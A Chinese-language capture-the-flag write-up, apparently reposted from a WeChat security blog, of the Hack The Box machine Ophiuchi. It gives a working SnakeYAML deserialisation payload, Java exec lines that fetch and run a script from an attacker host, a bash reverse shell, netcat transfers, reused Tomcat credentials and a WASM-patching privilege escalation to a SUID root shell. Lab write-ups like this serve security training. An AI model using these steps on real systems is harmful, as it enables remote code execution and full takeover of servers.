免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
聚合网络安全,存储安全技术文章,融合安全最新讯息
端口扫描:
nmap -A -sS -sV -sC -T4 10.10.10.227
其中开放了22和8080端口,使用apache tomcat服务。浏览器访问一下8080端口
是一个YAML在线校验页面,随便输入一个数据以后,显示“由于安全原因,此功能已暂时搁置。我们很快就会解决这个问题!”
我们输入错误的YAML数据会出现500错误
我们可以试着寻找一些已知的YAML漏洞,经过搜索引擎搜索后,我们找到一个YAML Parser 的RCE漏洞:https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858
为了验证此RCE漏洞是否存在,我们进行漏洞验证,首先我们用python启动HTTP服务监听80端口,然后在YAML校验页面输入payload:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.17/"]
]]
]
我们服务器收到了80端口请求,说明存在此漏洞。然后我们在github上找到payload去进行漏洞利用:https://github.com/artsploit/yaml-payload
我们修改payload中的AwesomeScriptEngineFactory.java文件,修改成自己的恶意exec执行代码
Runtime.getRuntime().exec("curl http://10.10.14.17/shell.sh -o /tmp/shell.sh");
Runtime.getRuntime().exec("bash /tmp/shell.sh");
然后把.java文件打包成jar包,然后复制在桌面
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf shell.jar -C src/ .
然后在创建一个shell.sh脚本,用来执行反弹shell操作(创建脚本的位置也要对应生成的jar包一致),路径比较重要,请结合自己的路径来修改,不要直接复制代码就完事了。
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.14.17/1234 0>&1'
创建完之后,接下来就开启两个终端,一个开启http服务监听80端口,另外一个监听1234端口接收反弹的shell,然后在校验页面输入rce的payload提交
python3 -m http.server 80
nc -lvvp 1234
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.17/shell.jar"]
]]
]
然后反弹shell成功。之前shell一直反弹不回来,请尝试多提交并刷新页面几次就反弹回来了。
然后在/opt/tomcat/conf/tomcat-users.xml文件查到了用户名admin和密码whythereisalimit
然后我们就可以通过ssh [email protected]登录,拿到user flag:7b491b05f6fc7851ec2bf6d3de65f772
sudo -l查看特权文件,用root权限运行这个文件
cat查看一下文件
我们看到,函数和变量从main.wasm文件中导入并检查变量的值f,如果它等于1,执行deploy.sh,并且main.wasm和deploy.sh是相对路径,我们可以修改原main.wasm文件总是返回1的结果,并建立自己的deploy.sh获得root权限。
我们通过nc文件传输到本地,到本地修改文件
mkdir -p /tmp/privesc && cd /tmp/privesc
cp /opt/wasm-functions/main.wasm
nc 10.10.14.17 1234 < main.wasm //远程终端输入
nc -nvlp 1234 > main.wasm //本地终端输入
因为main.wasm是编译后的二进制文件,不能直接编辑,首先要转换为.wat文件,然后修改它返回1,再次将它转换为.wasm二进制文件。先安装wat工具。
然后输入:wasm2wat main.wasm > main.wat转换,然后把0修改为1保存,然后再wat2wasm main.wat > main.wasm编译为二进制文件
然后把main.wasm传回到远程机子上(参考上面的传输方式,这里不写了),传回到刚刚创建的文件夹/tmp/privesc/下,并在此文件夹下编写一个deploy.sh
#!/bin/sh
cp /bin/bash /home/admin/.rootshell
chmod +s /home/admin/.rootshell
ls -al /home/admin/.rootshell
然后执行
sudo /usr/bin/go run /opt/wasm-functions/index.go
现在就有一个/bin/bash二进制的副本,就像设置.rootshell了suid位一样,然后执行:
/home/admin/.rootshell -p
成功获得root权限,拿到root flag:8a7a1a4869d6f19090bc37c49a048a48
原理就是:因为main.wasm里面写的是相对路径并非绝对路径,我们在/tmp/privesc路径下执行特权文件,就会继承特权文件所在路径的权限(我也不知道怎么描述)
本文始发于微信公众号(暗魂攻防实验室):【渗透测试】hackthebox靶场之Ophiuchi
评论